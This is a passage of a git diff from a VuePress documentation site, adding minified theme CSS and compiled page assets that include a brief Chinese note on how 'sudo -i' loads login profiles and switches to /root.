#ffbf00;--c-warning-text-light: #ddb84b;--c-warning-text-quote: #ccab49;--c-danger: #fc1e38;--c-danger-bg: #39232c;--c-danger-bg-light: #4b2b35;--c-danger-bg-lighter: #553040;--c-danger-border-dark: #a25151;--c-danger-details-bg: #482936;--c-danger-title: #fc2d3b;--c-danger-text: #ea9ca0;--c-danger-text-accent: #fd3636;--c-danger-text-light: #d9777c;--c-danger-text-quote: #d56b6b;--c-details-bg: #323843;--c-badge-warning: var(--c-warning);--c-badge-warning-text: #3c2e05;--c-badge-danger: var(--c-danger);--c-badge-danger-text: #401416;--code-hl-bg-color: #363b46}html.dark .DocSearch{--docsearch-logo-color: var(--c-text);--docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;--docsearch-key-shadow: inset 0 -2px 0 0 #282d55, inset 0 0 1px 1px #51577d, 0 2px 2px 0 rgba(3, 4, 9, .3);--docsearch-key-gradient: linear-gradient(-225deg, #444950, #1c1e21);--docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, .5), 0 -4px 8px 0 rgba(0, 0, 0, .2)}html,body{padding:0;margin:0;background-color:var(--c-bg);transition:background-color var(--t-color)}html.dark{color-scheme:dark}html{font-size:16px}body{font-family:var(--font-family);-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-size:1rem;color:var(--c-text)}a{font-weight:500;color:var(--c-text-accent);text-decoration:none;overflow-wrap:break-word}p a code{font-weight:400;color:var(--c-text-accent)}kbd{font-family:var(--font-family-code);color:var(--c-text);background:var(--c-bg-lighter);border:solid .15rem var(--c-border-dark);border-bottom:solid .25rem var(--c-border-dark);border-radius:.15rem;padding:0 .15em}code{font-family:var(--font-family-code);color:var(--c-text-lighter);padding:.25rem .5rem;margin:0;font-size:.85em;background-color:var(--c-bg-light);border-radius:3px;overflow-wrap:break-word;transition:background-color var(--t-color)}blockquote{font-size:1rem;color:var(--c-text-quote);border-left:.2rem solid var(--c-border-dark);margin:1rem 0;padding:.25rem 0 .25rem 1rem;overflow-wrap:break-word}blockquote>p{margin:0}ul,ol{padding-left:1.2em}strong{font-weight:600}h1,h2,h3,h4,h5,h6{font-weight:600;line-height:1.25;overflow-wrap:break-word}h1:focus-visible,h2:focus-visible,h3:focus-visible,h4:focus-visible,h5:focus-visible,h6:focus-visible{outline:none}h1:hover .header-anchor,h2:hover .header-anchor,h3:hover .header-anchor,h4:hover .header-anchor,h5:hover .header-anchor,h6:hover .header-anchor{opacity:1}h1{font-size:2.2rem}h2{font-size:1.65rem;padding-bottom:.3rem;border-bottom:1px solid var(--c-border);transition:border-color var(--t-color)}h3{font-size:1.35rem}h4{font-size:1.15rem}h5{font-size:1.05rem}h6{font-size:1rem}a.header-anchor{font-size:.85em;float:left;margin-left:-.87em;padding-right:.23em;margin-top:.125em;opacity:0;-webkit-user-select:none;-moz-user-select:none;user-select:none}@media print{a.header-anchor{display:none}}a.header-anchor:hover{text-decoration:none}a.header-anchor:focus-visible{opacity:1}@media print{a[href^="http://"]:after,a[href^="https://"]:after{content:" (" attr(href) ") "}}p,ul,ol{line-height:1.7;overflow-wrap:break-word}hr{border:0;border-top:1px solid var(--c-border)}table{border-collapse:collapse;margin:1rem 0;display:block;overflow-x:auto;transition:border-color var(--t-color)}tr{border-top:1px solid var(--c-border-dark);transition:border-color var(--t-color)}tr:nth-child(2n){background-color:var(--c-bg-light);transition:background-color var(--t-color)}tr:nth-child(2n) code{background-color:var(--c-bg-dark)}th,td{padding:.6em 1em;border:1px solid var(--c-border-dark);transition:border-color var(--t-color)}.arrow{display:inline-block;width:0;height:0}.arrow.up{border-left:4px solid transparent;border-right:4px solid transparent;border-bottom:6px solid var(--c-bg-arrow)}.arrow.down{border-left:4px solid transparent;border-right:4px solid transparent;border-top:6px solid var(--c-bg-arrow)}.arrow.right{border-top:4px solid transparent;border-bottom:4px solid transparent;border-left:6px solid var(--c-bg-arrow)}.arrow.left{border-top:4px solid transparent;border-bottom:4px solid transparent;border-right:6px solid var(--c-bg-arrow)}.badge{display:inline-block;font-size:14px;font-weight:600;height:18px;line-height:18px;border-radius:3px;padding:0 6px;color:var(--c-bg);vertical-align:top;transition:color var(--t-color),background-color var(--t-color)}.badge.tip{background-color:var(--c-badge-tip)}.badge.warning{background-color:var(--c-badge-warning);color:var(--c-badge-warning-text)}.badge.danger{background-color:var(--c-badge-danger);color:var(--c-badge-danger-text)}.badge+.badge{margin-left:5px}code[class*=language-],pre[class*=language-]{color:#ccc;background:none;font-family:var(--font-family-code);font-size:1em;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-hyphens:none;hyphens:none}pre[class*=language-]{padding:1em;margin:.5em 0;overflow:auto}:not(pre)>code[class*=language-],pre[class*=language-]{background:#2d2d2d}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.comment,.token.block-comment,.token.prolog,.token.doctype,.token.cdata{color:#999}.token.punctuation{color:#ccc}.token.tag,.token.attr-name,.token.namespace,.token.deleted{color:#ec5975}.token.function-name{color:#6196cc}.token.boolean,.token.number,.token.function{color:#f08d49}.token.property,.token.class-name,.token.constant,.token.symbol{color:#f8c555}.token.selector,.token.important,.token.atrule,.token.keyword,.token.builtin{color:#cc99cd}.token.string,.token.char,.token.attr-value,.token.regex,.token.variable{color:#7ec699}.token.operator,.token.entity,.token.url{color:#67cdcc}.token.important,.token.bold{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}.token.inserted{color:#3eaf7c}.theme-default-content pre,.theme-default-content pre[class*=language-]{line-height:1.375;padding:1.3rem 1.5rem;margin:.85rem 0;border-radius:6px;overflow:auto}.theme-default-content pre code,.theme-default-content pre[class*=language-] code{color:#fff;padding:0;background-color:transparent!important;border-radius:0;overflow-wrap:unset;-webkit-font-smoothing:auto;-moz-osx-font-smoothing:auto}.theme-default-content .line-number{font-family:var(--font-family-code)}div[class*=language-]{position:relative;background-color:var(--code-bg-color);border-radius:6px}div[class*=language-]:before{content:attr(data-ext);position:absolute;z-index:3;top:.8em;right:1em;font-size:.75rem;color:var(--code-ln-color)}div[class*=language-] pre,div[class*=language-] pre[class*=language-]{background:transparent!important;position:relative;z-index:1}div[class*=language-] .highlight-lines{-webkit-user-select:none;-moz-user-select:none;user-select:none;padding-top:1.3rem;position:absolute;top:0;left:0;width:100%;line-height:1.375}div[class*=language-] .highlight-lines .highlight-line{background-color:var(--code-hl-bg-color)}div[class*=language-]:not(.line-numbers-mode) .line-numbers{display:none}div[class*=language-].line-numbers-mode .highlight-lines .highlight-line{position:relative}div[class*=language-].line-numbers-mode .highlight-lines .highlight-line:before{content:" ";position:absolute;z-index:2;left:0;top:0;display:block;width:var(--code-ln-wrapper-width);height:100%}div[class*=language-].line-numbers-mode pre{margin-left:var(--code-ln-wrapper-width);padding-left:1rem;vertical-align:middle}div[class*=language-].line-numbers-mode .line-numbers{position:absolute;top:0;width:var(--code-ln-wrapper-width);text-align:center;color:var(--code-ln-color);padding-top:1.25rem;line-height:1.375;counter-reset:line-number}div[class*=language-].line-numbers-mode .line-numbers .line-number{position:relative;z-index:3;-webkit-user-select:none;-moz-user-select:none;user-select:none;height:1.375em}div[class*=language-].line-numbers-mode .line-numbers .line-number:before{counter-increment:line-number;content:counter(line-number);font-size:.85em}div[class*=language-].line-numbers-mode:after{content:"";position:absolute;top:0;left:0;width:var(--code-ln-wrapper-width);height:100%;border-radius:6px 0 0 6px;border-right:1px solid var(--code-hl-bg-color)}@media (max-width: 419px){.theme-default-content div[class*=language-]{margin:.85rem -1.5rem;border-radius:0}}.code-group__nav{margin-top:.85rem;margin-bottom:calc(-1.7rem - 6px);padding-bottom:calc(1.7rem - 6px);padding-left:10px;padding-top:10px;border-top-left-radius:6px;border-top-right-radius:6px;background-color:var(--code-bg-color)}.code-group__ul{margin:auto 0;padding-left:0;display:inline-flex;list-style:none}.code-group__nav-tab{border:0;padding:5px;cursor:pointer;background-color:transparent;font-size:.85em;line-height:1.4;color:#ffffffe6;font-weight:600}.code-group__nav-tab:focus{outline:none}.code-group__nav-tab:focus-visible{outline:1px solid rgba(255,255,255,.9)}.code-group__nav-tab-active{border-bottom:var(--c-brand) 1px solid}@media (max-width: 419px){.code-group__nav{margin-left:-1.5rem;margin-right:-1.5rem;border-radius:0}}.code-group-item{display:none}.code-group-item__active{display:block}.code-group-item>pre{background-color:orange}.custom-container{transition:color var(--t-color),border-color var(--t-color),background-color var(--t-color)}.custom-container .custom-container-title{font-weight:600}.custom-container .custom-container-title:not(:only-child){margin-bottom:-.4rem}.custom-container.tip,.custom-container.warning,.custom-container.danger{padding:.1rem 1.5rem;border-left-width:.5rem;border-left-style:solid;margin:1rem 0}.custom-container.tip{border-color:var(--c-tip);background-color:var(--c-tip-bg);color:var(--c-tip-text)}.custom-container.tip .custom-container-title{color:var(--c-tip-title)}.custom-container.tip a{color:var(--c-tip-text-accent)}.custom-container.tip code{background-color:var(--c-bg-dark)}.custom-container.warning{border-color:var(--c-warning);background-color:var(--c-warning-bg);color:var(--c-warning-text)}.custom-container.warning .custom-container-title{color:var(--c-warning-title)}.custom-container.warning a{color:var(--c-warning-text-accent)}.custom-container.warning blockquote{border-left-color:var(--c-warning-border-dark);color:var(--c-warning-text-quote)}.custom-container.warning code{color:var(--c-warning-text-light);background-color:var(--c-warning-bg-light)}.custom-container.warning details{background-color:var(--c-warning-details-bg)}.custom-container.warning details code{background-color:var(--c-warning-bg-lighter)}.custom-container.warning .external-link-icon{--external-link-icon-color: var(--c-warning-text-quote)}.custom-container.danger{border-color:var(--c-danger);background-color:var(--c-danger-bg);color:var(--c-danger-text)}.custom-container.danger .custom-container-title{color:var(--c-danger-title)}.custom-container.danger a{color:var(--c-danger-text-accent)}.custom-container.danger blockquote{border-left-color:var(--c-danger-border-dark);color:var(--c-danger-text-quote)}.custom-container.danger code{color:var(--c-danger-text-light);background-color:var(--c-danger-bg-light)}.custom-container.danger details{background-color:var(--c-danger-details-bg)}.custom-container.danger details code{background-color:var(--c-danger-bg-lighter)}.custom-container.danger .external-link-icon{--external-link-icon-color: var(--c-danger-text-quote)}.custom-container.details{display:block;position:relative;border-radius:2px;margin:1.6em 0;padding:1.6em;background-color:var(--c-details-bg)}.custom-container.details code{background-color:var(--c-bg-darker)}.custom-container.details h4{margin-top:0}.custom-container.details figure:last-child,.custom-container.details p:last-child{margin-bottom:0;padding-bottom:0}.custom-container.details summary{outline:none;cursor:pointer}.home{padding:var(--navbar-height) 2rem 0;max-width:var(--homepage-width);margin:0 auto;display:block}.home .hero{text-align:center}.home .hero img{max-width:100%;max-height:280px;display:block;margin:3rem auto 1.5rem}.home .hero h1{font-size:3rem}.home .hero h1,.home .hero .description,.home .hero .actions{margin:1.8rem auto}.home .hero .actions{display:flex;flex-wrap:wrap;gap:1rem;justify-content:center}.home .hero .description{max-width:35rem;font-size:1.6rem;line-height:1.3;color:var(--c-text-lightest)}.home .hero .action-button{display:inline-block;font-size:1.2rem;padding:.8rem 1.6rem;border-width:2px;border-style:solid;border-radius:4px;transition:background-color var(--t-color);box-sizing:border-box}.home .hero .action-button.primary{color:var(--c-bg);background-color:var(--c-brand);border-color:var(--c-brand)}.home .hero .action-button.primary:hover{background-color:var(--c-brand-light)}.home .hero .action-button.secondary{color:var(--c-brand);background-color:var(--c-bg);border-color:var(--c-brand)}.home .hero .action-button.secondary:hover{color:var(--c-bg);background-color:var(--c-brand-light)}.home .features{border-top:1px solid var(--c-border);transition:border-color var(--t-color);padding:1.2rem 0;margin-top:2.5rem;display:flex;flex-wrap:wrap;align-items:flex-start;align-content:stretch;justify-content:space-between}.home .feature{flex-grow:1;flex-basis:30%;max-width:30%}.home .feature h2{font-size:1.4rem;font-weight:500;border-bottom:none;padding-bottom:0;color:var(--c-text-light)}.home .feature p{color:var(--c-text-lighter)}.home .theme-default-content{padding:0;margin:0}.home .footer{padding:2.5rem;border-top:1px solid var(--c-border);text-align:center;color:var(--c-text-lighter);transition:border-color var(--t-color)}@media (max-width: 719px){.home .features{flex-direction:column}.home .feature{max-width:100%;padding:0 2.5rem}}@media (max-width: 419px){.home{padding-left:1.5rem;padding-right:1.5rem}.home .hero img{max-height:210px;margin:2rem auto 1.2rem}.home .hero h1{font-size:2rem}.home .hero h1,.home .hero .description,.home .hero .actions{margin:1.2rem auto}.home .hero .description{font-size:1.2rem}.home .hero .action-button{font-size:1rem;padding:.6rem 1.2rem}.home .feature h2{font-size:1.25rem}}.page{padding-top:var(--navbar-height);padding-left:var(--sidebar-width)}.navbar{position:fixed;z-index:20;top:0;left:0;right:0;height:var(--navbar-height);box-sizing:border-box;border-bottom:1px solid var(--c-border);background-color:var(--c-bg-navbar);transition:background-color var(--t-color),border-color var(--t-color)}.sidebar{font-size:16px;width:var(--sidebar-width);position:fixed;z-index:10;margin:0;top:var(--navbar-height);left:0;bottom:0;box-sizing:border-box;border-right:1px solid var(--c-border);overflow-y:auto;scrollbar-width:thin;scrollbar-color:var(--c-brand) var(--c-border);background-color:var(--c-bg-sidebar);transition:transform var(--t-transform),background-color var(--t-color),border-color var(--t-color)}.sidebar::-webkit-scrollbar{width:7px}.sidebar::-webkit-scrollbar-track{background-color:var(--c-border)}.sidebar::-webkit-scrollbar-thumb{background-color:var(--c-brand)}.sidebar-mask{position:fixed;z-index:9;top:0;left:0;width:100vw;height:100vh;display:none}.theme-container.sidebar-open .sidebar-mask{display:block}.theme-container.sidebar-open .navbar>.toggle-sidebar-button .icon span:nth-child(1){transform:rotate(45deg) translate3d(5.5px,5.5px,0)}.theme-container.sidebar-open .navbar>.toggle-sidebar-button .icon span:nth-child(2){transform:scale3d(0,1,1)}.theme-container.sidebar-open .navbar>.toggle-sidebar-button .icon span:nth-child(3){transform:rotate(-45deg) translate3d(6px,-6px,0)}.theme-container.sidebar-open .navbar>.toggle-sidebar-button .icon span:nth-child(1),.theme-container.sidebar-open .navbar>.toggle-sidebar-button .icon span:nth-child(3){transform-origin:center}.theme-container.no-navbar .theme-default-content h1,.theme-container.no-navbar .theme-default-content h2,.theme-container.no-navbar .theme-default-content h3,.theme-container.no-navbar .theme-default-content h4,.theme-container.no-navbar .theme-default-content h5,.theme-container.no-navbar .theme-default-content h6{margin-top:1.5rem;padding-top:0}.theme-container.no-navbar .page{padding-top:0}.theme-container.no-navbar .sidebar{top:0}.theme-container.no-sidebar .sidebar{display:none}@media (max-width: 719px){.theme-container.no-sidebar .sidebar{display:block}}.theme-container.no-sidebar .page{padding-left:0}.theme-default-content a:hover{text-decoration:underline}.theme-default-content img{max-width:100%}.theme-default-content h1,.theme-default-content h2,.theme-default-content h3,.theme-default-content h4,.theme-default-content h5,.theme-default-content h6{margin-top:calc(.5rem - var(--navbar-height));padding-top:calc(1rem + var(--navbar-height));margin-bottom:0}.theme-default-content h1:first-child,.theme-default-content h2:first-child,.theme-default-content h3:first-child,.theme-default-content h4:first-child,.theme-default-content h5:first-child,.theme-default-content h6:first-child{margin-bottom:1rem}.theme-default-content h1:first-child+p,.theme-default-content h1:first-child+pre,.theme-default-content h1:first-child+.custom-container,.theme-default-content h2:first-child+p,.theme-default-content h2:first-child+pre,.theme-default-content h2:first-child+.custom-container,.theme-default-content h3:first-child+p,.theme-default-content h3:first-child+pre,.theme-default-content h3:first-child+.custom-container,.theme-default-content h4:first-child+p,.theme-default-content h4:first-child+pre,.theme-default-content h4:first-child+.custom-container,.theme-default-content h5:first-child+p,.theme-default-content h5:first-child+pre,.theme-default-content h5:first-child+.custom-container,.theme-default-content h6:first-child+p,.theme-default-content h6:first-child+pre,.theme-default-content h6:first-child+.custom-container{margin-top:2rem}@media (max-width: 959px){.sidebar{font-size:15px;width:var(--sidebar-width-mobile)}.page{padding-left:var(--sidebar-width-mobile)}}@media (max-width: 719px){.sidebar{top:0;padding-top:var(--navbar-height);transform:translate(-100%)}.page{padding-left:0}.theme-container.sidebar-open .sidebar{transform:translate(0)}.theme-container.no-navbar .sidebar{padding-top:0}}@media (max-width: 419px){h1{font-size:1.9rem}}.navbar{--navbar-line-height: calc( var(--navbar-height) - 2 * var(--navbar-padding-v) );padding:var(--navbar-padding-v) var(--navbar-padding-h);line-height:var(--navbar-line-height)}.navbar .logo{height:var(--navbar-line-height);margin-right:var(--navbar-padding-v);vertical-align:top}.navbar .site-name{font-size:1.3rem;font-weight:600;color:var(--c-text);position:relative}.navbar .navbar-items-wrapper{display:flex;position:absolute;box-sizing:border-box;top:var(--navbar-padding-v);right:var(--navbar-padding-h);height:var(--navbar-line-height);padding-left:var(--navbar-padding-h);white-space:nowrap;font-size:.9rem}.navbar .navbar-items-wrapper .search-box{flex:0 0 auto;vertical-align:top}@media screen and (max-width: 719px){.navbar{padding-left:4rem}.navbar .site-name{display:block;width:calc(100vw - 11rem);overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.navbar .can-hide{display:none}}.navbar-items{display:inline-block}@media print{.navbar-items{display:none}}.navbar-items a{display:inline-block;line-height:1.4rem;color:inherit}.navbar-items a:hover,.navbar-items a.router-link-active{color:var(--c-text)}.navbar-items .navbar-item{position:relative;display:inline-block;margin-left:1.5rem;line-height:var(--navbar-line-height)}.navbar-items .navbar-item:first-child{margin-left:0}.navbar-items .navbar-item>a:hover,.navbar-items .navbar-item>a.router-link-active{margin-bottom:-2px;border-bottom:2px solid var(--c-text-accent)}@media (max-width: 719px){.navbar-items .navbar-item{margin-left:0}.navbar-items .navbar-item>a:hover,.navbar-items .navbar-item>a.router-link-active{margin-bottom:0;border-bottom:none}.navbar-items a:hover,.navbar-items a.router-link-active{color:var(--c-text-accent)}}.toggle-sidebar-button{position:absolute;top:.6rem;left:1rem;display:none;padding:.6rem;cursor:pointer}.toggle-sidebar-button .icon{display:flex;flex-direction:column;justify-content:center;align-items:center;width:1.25rem;height:1.25rem;cursor:inherit}.toggle-sidebar-button .icon span{display:inline-block;width:100%;height:2px;border-radius:2px;background-color:var(--c-text);transition:transform var(--t-transform)}.toggle-sidebar-button .icon span:nth-child(2){margin:6px 0}@media screen and (max-width: 719px){.toggle-sidebar-button{display:block}}.toggle-color-mode-button{display:flex;margin:auto;margin-left:1rem;border:0;background:none;color:var(--c-text);opacity:.8;cursor:pointer}@media print{.toggle-color-mode-button{display:none}}.toggle-color-mode-button:hover{opacity:1}.toggle-color-mode-button .icon{width:1.25rem;height:1.25rem}.DocSearch{transition:background-color var(--t-color)}.navbar-dropdown-wrapper{cursor:pointer}.navbar-dropdown-wrapper .navbar-dropdown-title,.navbar-dropdown-wrapper .navbar-dropdown-title-mobile{display:block;font-size:.9rem;font-family:inherit;cursor:inherit;padding:inherit;line-height:1.4rem;background:transparent;border:none;font-weight:500;color:var(--c-text)}.navbar-dropdown-wrapper .navbar-dropdown-title:hover,.navbar-dropdown-wrapper .navbar-dropdown-title-mobile:hover{border-color:transparent}.navbar-dropdown-wrapper .navbar-dropdown-title .arrow,.navbar-dropdown-wrapper .navbar-dropdown-title-mobile .arrow{vertical-align:middle;margin-top:-1px;margin-left:.4rem}.navbar-dropdown-wrapper .navbar-dropdown-title-mobile{display:none;font-weight:600;font-size:inherit}.navbar-dropdown-wrapper .navbar-dropdown-title-mobile:hover{color:var(--c-text-accent)}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item{color:inherit;line-height:1.7rem}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subtitle{margin:.45rem 0 0;border-top:1px solid var(--c-border);padding:1rem 0 .45rem;font-size:.9rem}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subtitle>span{padding:0 1.5rem 0 1.25rem}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subtitle>a{font-weight:inherit}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subtitle>a.router-link-active:after{display:none}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subitem-wrapper{padding:0;list-style:none}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subitem-wrapper .navbar-dropdown-subitem{font-size:.9em}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item a{display:block;line-height:1.7rem;position:relative;border-bottom:none;font-weight:400;margin-bottom:0;padding:0 1.5rem 0 1.25rem}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item a:hover,.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item a.router-link-active{color:var(--c-text-accent)}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item a.router-link-active:after{content:"";width:0;height:0;border-left:5px solid var(--c-text-accent);border-top:3px solid transparent;border-bottom:3px solid transparent;position:absolute;top:calc(50% - 2px);left:9px}.navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item:first-child .navbar-dropdown-subtitle{margin-top:0;padding-top:0;border-top:0}.navbar-dropdown-wrapper.mobile.open .navbar-dropdown-title,.navbar-dropdown-wrapper.mobile.open .navbar-dropdown-title-mobile{margin-bottom:.5rem}.navbar-dropdown-wrapper.mobile .navbar-dropdown-title,.navbar-dropdown-wrapper.mobile .navbar-dropdown-title-mobile{display:none}.navbar-dropdown-wrapper.mobile .navbar-dropdown-title-mobile{display:block}.navbar-dropdown-wrapper.mobile .navbar-dropdown{transition:height .1s ease-out;overflow:hidden}.navbar-dropdown-wrapper.mobile .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subtitle{border-top:0;margin-top:0;padding-top:0;padding-bottom:0}.navbar-dropdown-wrapper.mobile .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subtitle,.navbar-dropdown-wrapper.mobile .navbar-dropdown .navbar-dropdown-item>a{font-size:15px;line-height:2rem}.navbar-dropdown-wrapper.mobile .navbar-dropdown .navbar-dropdown-item .navbar-dropdown-subitem{font-size:14px;padding-left:1rem}.navbar-dropdown-wrapper:not(.mobile){height:1.8rem}.navbar-dropdown-wrapper:not(.mobile):hover .navbar-dropdown,.navbar-dropdown-wrapper:not(.mobile).open .navbar-dropdown{display:block!important}.navbar-dropdown-wrapper:not(.mobile).open:blur{display:none}.navbar-dropdown-wrapper:not(.mobile) .navbar-dropdown{display:none;height:auto!important;box-sizing:border-box;max-height:calc(100vh - 2.7rem);overflow-y:auto;position:absolute;top:100%;right:0;background-color:var(--c-bg-navbar);padding:.6rem 0;border:1px solid var(--c-border);border-bottom-color:var(--c-border-dark);text-align:left;border-radius:.25rem;white-space:nowrap;margin:0}.page{padding-bottom:2rem;display:block}.page .theme-default-content{max-width:var(--content-width);margin:0 auto;padding:2rem 2.5rem;padding-top:0}@media (max-width: 959px){.page .theme-default-content{padding:2rem}}@media (max-width: 419px){.page .theme-default-content{padding:1.5rem}}.page-meta{max-width:var(--content-width);margin:0 auto;padding:1rem 2.5rem;overflow:auto}@media (max-width: 959px){.page-meta{padding:2rem}}@media (max-width: 419px){.page-meta{padding:1.5rem}}.page-meta .meta-item{cursor:default;margin-top:.8rem}.page-meta .meta-item .meta-item-label{font-weight:500;color:var(--c-text-lighter)}.page-meta .meta-item .meta-item-info{font-weight:400;color:var(--c-text-quote)}.page-meta .edit-link{display:inline-block;margin-right:.25rem}@media print{.page-meta .edit-link{display:none}}.page-meta .last-updated{float:right}@media (max-width: 719px){.page-meta .last-updated{font-size:.8em;float:none}.page-meta .contributors{font-size:.8em}}.page-nav{max-width:var(--content-width);margin:0 auto;padding:1rem 2.5rem 2rem;padding-bottom:0}@media (max-width: 959px){.page-nav{padding:2rem}}@media (max-width: 419px){.page-nav{padding:1.5rem}}.page-nav .inner{min-height:2rem;margin-top:0;border-top:1px solid var(--c-border);transition:border-color var(--t-color);padding-top:1rem;overflow:auto}.page-nav .prev a:before{content:"←"}.page-nav .next{float:right}.page-nav .next a:after{content:"→"}.sidebar ul{padding:0;margin:0;list-style-type:none}.sidebar a{display:inline-block}.sidebar .navbar-items{display:none;border-bottom:1px solid var(--c-border);transition:border-color var(--t-color);padding:.5rem 0 .75rem}.sidebar .navbar-items a{font-weight:600}.sidebar .navbar-items .navbar-item{display:block;line-height:1.25rem;font-size:1.1em;padding:.5rem 0 .5rem 1.5rem}.sidebar .sidebar-items{padding:1.5rem 0}@media (max-width: 719px){.sidebar .navbar-items{display:block}.sidebar .navbar-items .navbar-dropdown-wrapper .navbar-dropdown .navbar-dropdown-item a.router-link-active:after{top:calc(1rem - 2px)}.sidebar .sidebar-items{padding:1rem 0}}.sidebar-item{cursor:default;border-left:.25rem solid transparent;color:var(--c-text)}.sidebar-item:focus-visible{outline-width:1px;outline-offset:-1px}.sidebar-item.active:not(p.sidebar-heading){font-weight:600;color:var(--c-text-accent);border-left-color:var(--c-text-accent)}.sidebar-item.sidebar-heading{transition:color .15s ease;font-size:1.1em;font-weight:700;padding:.35rem 1.5rem .35rem 1.25rem;width:100%;box-sizing:border-box;margin:0}.sidebar-item.sidebar-heading+.sidebar-item-children{transition:height .1s ease-out;overflow:hidden;margin-bottom:.75rem}.sidebar-item.collapsible{cursor:pointer}.sidebar-item.collapsible .arrow{position:relative;top:-.12em;left:.5em}.sidebar-item:not(.sidebar-heading){font-size:1em;font-weight:400;display:inline-block;margin:0;padding:.35rem 1rem .35rem 2rem;line-height:1.4;width:100%;box-sizing:border-box}.sidebar-item:not(.sidebar-heading)+.sidebar-item-children{padding-left:1rem;font-size:.95em}.sidebar-item-children .sidebar-item-children .sidebar-item:not(.sidebar-heading){padding:.25rem 1rem .25rem 1.75rem}.sidebar-item-children .sidebar-item-children .sidebar-item:not(.sidebar-heading).active{font-weight:500;border-left-color:transparent}a.sidebar-heading+.sidebar-item-children .sidebar-item:not(.sidebar-heading).active{border-left-color:transparent}a.sidebar-item{cursor:pointer}a.sidebar-item:hover{color:var(--c-text-accent)}.table-of-contents .badge{vertical-align:middle}.dropdown-enter-from,.dropdown-leave-to{height:0!important}.fade-slide-y-enter-active{transition:all .2s ease}.fade-slide-y-leave-active{transition:all .2s cubic-bezier(1,.5,.8,1)}.fade-slide-y-enter-from,.fade-slide-y-leave-to{transform:translateY(10px);opacity:0}:root{--search-bg-color: #ffffff;--search-accent-color: #3eaf7c;--search-text-color: #2c3e50;--search-border-color: #eaecef;--search-item-text-color: #5d81a5;--search-item-focus-bg-color: #f3f4f5;--search-input-width: 8rem;--search-result-width: 20rem}.search-box{display:inline-block;position:relative;margin-left:1rem}@media print{.search-box{display:none}}.search-box input{-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:text;width:var(--search-input-width);height:2rem;color:var(--search-text-color);display:inline-block;border:1px solid var(--search-border-color);border-radius:2rem;font-size:.9rem;line-height:2rem;padding:0 .5rem 0 2rem;outline:none;transition:all ease .3s;background:var(--search-bg-color) url("data:image/svg+xml,%3c?xml%20version='1.0'%20encoding='UTF-8'?%3e%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='12'%20height='13'%3e%3cg%20stroke-width='2'%20stroke='%23aaa'%20fill='none'%3e%3cpath%20d='M11.29%2011.71l-4-4'/%3e%3ccircle%20cx='5'%20cy='5'%20r='4'/%3e%3c/g%3e%3c/svg%3e") .6rem .5rem no-repeat;background-size:1rem}.search-box input:focus{cursor:auto;border-color:var(--search-accent-color)}.search-box .suggestions{background:var(--search-bg-color);width:var(--search-result-width);position:absolute;top:2rem;right:0;border:1px solid var(--search-border-color);border-radius:6px;padding:.4rem;list-style-type:none}.search-box .suggestion{line-height:1.4;padding:.4rem .6rem;border-radius:4px;cursor:pointer}.search-box .suggestion.focus{background-color:var(--search-item-focus-bg-color)}.search-box .suggestion.focus a{color:var(--search-accent-color)}.search-box .suggestion a{white-space:normal;color:var(--search-item-text-color)}.search-box .suggestion .page-title{font-weight:600}.search-box .suggestion .page-header{font-size:.9em;margin-left:.25em}@media (max-width: 719px){.search-box input{cursor:pointer;width:0;border-color:transparent;position:relative}.search-box input:focus{cursor:text;left:0;width:10rem}}@media (max-width: 419px){.search-box input:focus{width:8rem}.search-box .suggestions{width:calc(100vw - 4rem);right:-.5rem}}:root{--medium-zoom-z-index: 100;--medium-zoom-bg-color: #ffffff;--medium-zoom-opacity: 1}.medium-zoom-overlay{background-color:var(--medium-zoom-bg-color)!important;z-index:var(--medium-zoom-z-index)}.medium-zoom-overlay~img{z-index:calc(var(--medium-zoom-z-index) + 1)}.medium-zoom--opened .medium-zoom-overlay{opacity:var(--medium-zoom-opacity)} diff --git a/assets/sudo.html-4XyrR9mM.js b/assets/sudo.html-4XyrR9mM.js new file mode 100644 index 0000000..0596223 --- /dev/null +++ b/assets/sudo.html-4XyrR9mM.js @@ -0,0 +1 @@ +import{_ as o,o as s,c as t,b as e,d as l}from"./app-x8p6wK6B.js";const a={},d=e("h1",{id:"sudo",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#sudo","aria-hidden":"true"},"#"),l(" sudo")],-1),r=e("p",null,"-i 参数(即 sudo -i ),在 sudo 的 man page 里指明了,会加载 [.profile,.bash_profile or .login will be read by the shell.] , 同时呢,会跳到 /root 家目录。",-1),c=e("blockquote",null,[e("p",null,"https://www.v2ex.com/t/885106#reply3")],-1),n=[d,r,c];function _(i,u){return s(),t("div",null,n)}const p=o(a,[["render",_],["__file","sudo.html.vue"]]);export{p as default}; diff --git a/assets/sudo.html-Qy0hDxEt.js b/assets/sudo.html-Qy0hDxEt.js new file mode 100644 index 0000000..acf3a41 --- /dev/null +++ b/assets/sudo.html-Qy0hDxEt.js @@ -0,0 +1 @@ +const 